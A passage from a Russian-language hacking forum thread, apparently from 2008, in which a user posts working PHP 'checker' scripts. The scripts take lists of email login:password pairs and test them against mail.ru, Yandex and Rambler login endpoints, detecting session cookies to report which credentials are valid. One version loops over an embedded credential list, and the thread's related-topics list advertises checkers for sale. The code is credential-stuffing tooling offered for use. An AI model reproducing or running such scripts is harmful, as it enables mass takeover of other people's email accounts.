ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > E-Mail
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #21  
Старый 02.12.2008, 13:37
rcc0023
Участник форума
Регистрация: 03.07.2008
Сообщений: 177
Провел на форуме:
644324

Репутация: 11
По умолчанию

вот код:

Цитата:
<?

if($save==1){
$login=htmlspecialchars(trim($_POST['login']));
$password=htmlspecialchars(trim($_POST['password']));
$domain=htmlspecialchars(trim($_POST['domain']));
$login=explode("@",$login);
$login=$login[0];

if($login==""){$massage="Поле логин не должно быть пустым!";}
elseif($password==""){$massage="Поле пароль не должно быть пустым!";}
else{

if($domain=="yandex.ru"){

$m5="selected";

$data="login=$login&passwd=$password";
$packet="POST /passport?mode=auth HTTP/1.0\r\nContent-Length: ".strlen($data)."\r\nHost: passport.yandex.ru\r\nReferer: http://passport.yandex.ru\r\nContent-Type: application/x-www-form-urlencoded\r\nConnection: keep-alive\r\nCache-Control: no-cache\r\n\r\n".$data."\r\n\r\n";
$ock=fsockopen(gethostbyname('passport.yandex.ru') ,80);
fputs($ock,$packet);
while (!feof($ock)){$html.=fgets($ock);};
fclose($ock);

$text_01="Session_id=";
$text_02=";";

$text_1=explode($text_01,$html);
$text_2=explode($text_02,$text_1[1]);

if(strlen($text_2[0]) < 5){$no_cor_acc=1;};

}
else{

if($domain=="mail.ru"){$m1="selected";}
elseif($domain=="inbox.ru"){$m2="selected";}
elseif($domain=="bk.ru"){$m3="selected";}
elseif($domain=="list.ru"){$m4="selected";}

$data="page=folders&post=&login_from=&Login=$login &Domain=$domain&Password=$password";
$packet="POST /cgi-bin/auth HTTP/1.0\r\nContent-Length: ".strlen($data)."\r\nHost: win.mail.ru\r\nReferer: http://win.mail.ru/cgi-bin/login\r\nContent-Type: application/x-www-form-urlencoded\r\nConnection: keep-alive\r\nCache-Control: no-cache\r\n\r\n".$data."\r\n\r\n";
$ock=fsockopen(gethostbyname('win.mail.ru'),80);
fputs($ock,$packet);
while (!feof($ock)){$html.=fgets($ock);};
fclose($ock);

$text_01="Mpop=";
$text_02=";";

$text_1=explode($text_01,$html);
$text_2=explode($text_02,$text_1[1]);

if(strlen($text_2[0]) < 5){$no_cor_acc=1;};

};

if($no_cor_acc==1){$massage="некорректн й аккаунт.";}
else{$massage="<b style='color:#4682B4;'>корректный аккаунт.</b>";};

};
};


$html_end="
<form method='POST' action=''>
<input type='hidden' name='save' value='1'>
<tr>
<td>Логин:</td>
<td><input type='text' name='login' size='65' maxlength='30' value='$login'></td>
</tr>
<tr>
<td>Пароль:</td>
<td><input type='text' name='password' size='65' maxlength='30' value='$password'></td>
</tr>
<tr>
<td>Домен:</td>
<td><select name='domain'><option $m1 value='mail.ru'>@mail.ru</option><option $m2 value='inbox.ru' >@inbox.ru</option><option $m3 value='bk.ru'>@bk.ru</option><option $m4 value='list.ru' >@list.ru<option $m5 value='yandex.ru'>@yandex.ru</option></select></td>
</tr>
<tr>
<td>&nbsp;</td>
<td><input type='submit' value='проверить'></td>
</tr>
<tr>
<td>&nbsp;</td>
<td>$massage</td>
</tr>
</form>";

echo $html_end;

?>
 
Ответить с цитированием

  #22  
Старый 02.12.2008, 15:45
>.:!FrE!:.<
Участник форума
Регистрация: 19.07.2008
Сообщений: 168
Провел на форуме:
1312476

Репутация: 85
Отправить сообщение для >.:!FrE!:.< с помощью ICQ
По умолчанию

Цитата:
Сообщение от rcc0023  
вот код:
чё-то я не пойму суть чекера, по одному мылу в ручную чекать?
 
Ответить с цитированием

  #23  
Старый 02.12.2008, 22:26
rcc0023
Участник форума
Регистрация: 03.07.2008
Сообщений: 177
Провел на форуме:
644324

Репутация: 11
По умолчанию

да. то что на веб боте.

вот то что тебе нужно:

функция:
Цитата:
<?

function check_mailru_acc($login, $password, $domain){

global $mail_status;

$data="page=folders&post=&login_from=&Login=$login &Domain=$domain&Password=$password";
$packet="POST /cgi-bin/auth HTTP/1.0\r\nContent-Length: ".strlen($data)."\r\nHost: win.mail.ru\r\nReferer: http://win.mail.ru/cgi-bin/login\r\nContent-Type: application/x-www-form-urlencoded\r\nConnection: keep-alive\r\nCache-Control: no-cache\r\n\r\n".$data."\r\n\r\n";
$ock=fsockopen(gethostbyname('win.mail.ru'),80);
fputs($ock,$packet);
while (!feof($ock)){$html.=fgets($ock);};
fclose($ock);

$mail_status=substr_count($html,"Mpop=");

};

?>
тело программы:
Цитата:
<?
$key=0;

$all_mail="vasya@mail.ru:best
bond@bk.ru:007007
picopuk@list.ru:hihihaha";

$all_mail=nl2br($all_mail);

$mail_array=explode("<br />",$all_mail);

$all_acc=array_count_values($mail_array);

while($key < $all_acc){

$acc_array_1=explode("@",$mail_array[$key]);
$acc_array_2=explode(":",$acc_array[1]);

$login=$acc_array_1[0];
$domain=$acc_array_2[0];
$password=$acc_array_2[1];

check_mailru_acc($login, $password, $domain);

if($mail_status==0){echo "пароль $password не подошел к $login@$domain<br>";}
else{echo "пароль $password подошел к $login@$domain<br>";}

++$key;

};

?>

Последний раз редактировалось rcc0023; 02.12.2008 в 22:30..
 
Ответить с цитированием

  #24  
Старый 03.12.2008, 11:50
rcc0023
Участник форума
Регистрация: 03.07.2008
Сообщений: 177
Провел на форуме:
644324

Репутация: 11
По умолчанию

для яндекса:
Цитата:
<?

function check_yandexru_acc($login, $password, $domain){

global $mail_status;

$data="login=$login&passwd=$password";
$packet="POST /passport?mode=auth HTTP/1.0\r\nContent-Length: ".strlen($data)."\r\nHost: passport.yandex.ru\r\nReferer: http://passport.yandex.ru\r\nContent-Type: application/x-www-form-urlencoded\r\nConnection: keep-alive\r\nCache-Control: no-cache\r\n\r\n".$data."\r\n\r\n";
$ock=fsockopen(gethostbyname('passport.yandex.ru') ,80);
fputs($ock,$packet);
while (!feof($ock)){$html.=fgets($ock);};
fclose($ock);

$mail_status=substr_count($html,"Session_id=");

};

?>
для рамблера
Цитата:
<?

function check_ramblerru_acc($login, $password, $domain){

global $mail_status;

$data="back=http%3A%2F%2Fmail.rambler.ru%2F&url=7& login=$login&passw=$password&long_session=on";
$packet="POST /script/auth.cgi?mode=login HTTP/1.0\r\nContent-Length: ".strlen($data)."\r\nHost: id.rambler.ru\r\nReferer: http://passport.yandex.ru\r\nContent-Type: application/x-www-form-urlencoded\r\nConnection: keep-alive\r\nCache-Control: no-cache\r\n\r\n".$data."\r\n\r\n";
$ock=fsockopen(gethostbyname('id.rambler.ru') ,80);
fputs($ock,$packet);
while (!feof($ock)){$html.=fgets($ock);};
fclose($ock);

$mail_status=substr_count($html,"rlogin=");

};

?>

Последний раз редактировалось rcc0023; 03.12.2008 в 11:53..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
чекер Мой Мир на mail.ru fasty Болталка 15 03.06.2009 22:11
Mail.ru открыл охоту на пользователей ЖЖ Carnivore.Sys Мировые новости 0 08.09.2008 12:32
Чекер Mail.ru fasty Болталка 2 03.07.2008 14:46
Продается чекер аккаунтов mail.ru ! дешего -=Zhenek=- Разное - Покупка, продажа, обмен 0 05.02.2008 11:43



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ